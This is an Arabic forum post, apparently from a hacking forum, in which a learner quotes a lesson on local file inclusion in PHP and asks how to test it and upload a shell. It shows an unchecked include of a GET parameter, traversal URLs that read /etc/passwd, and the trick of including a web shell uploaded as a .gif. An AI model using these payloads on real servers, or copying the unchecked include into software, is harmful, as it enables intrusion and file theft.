أخي المدير أنا فهمت بعض الأشياء و أخرى لا و بمن الأشياء التي لم أفهمها هي :
1) الأول :

اما لو كان الكود مثلا


كود:
<?php



$page = $_GET['page'];

الموضوع الأصلى من هنا: منتديات جيوش الهكرز http://www.aljyyosh.com/vb/f19/2475/

include ("./pages/$page");


?>




فهنا يمكن فقط ادخال ملفات داخلية اي على نفس السيرفر


وطبعا يمكن استخدام النقاط بشكل طبيعي لتخطي المجلدات


مثلا لو كان مسار الملف
/home/user/public_html/file.php


يكون الاستغلال للوصول لل /etc/passwd


file.php?page=../../../../etc/passwd


او مثلا لو قمت برفع ملف شل بامتداد gif على مركز رفع على نفس السيرفر


واكن مسار الملف /home/upload/public_html/uploads/file01c144dd.gif


تدخله بالطريقة التالية


file.php?page=../../../../home/upload/public_html/uploads/file01c144dd.gif


2) الثاني : بعد ما أفحص السكريبت و وجدت ثغرة سيبقى لي أن أجربها و أرفع عليها الشيل

لكن كيف سأفعل هذااا . لهذا كنت أسأل عن localhost . هل سأستعمله هنا و كيف ذلك ؟؟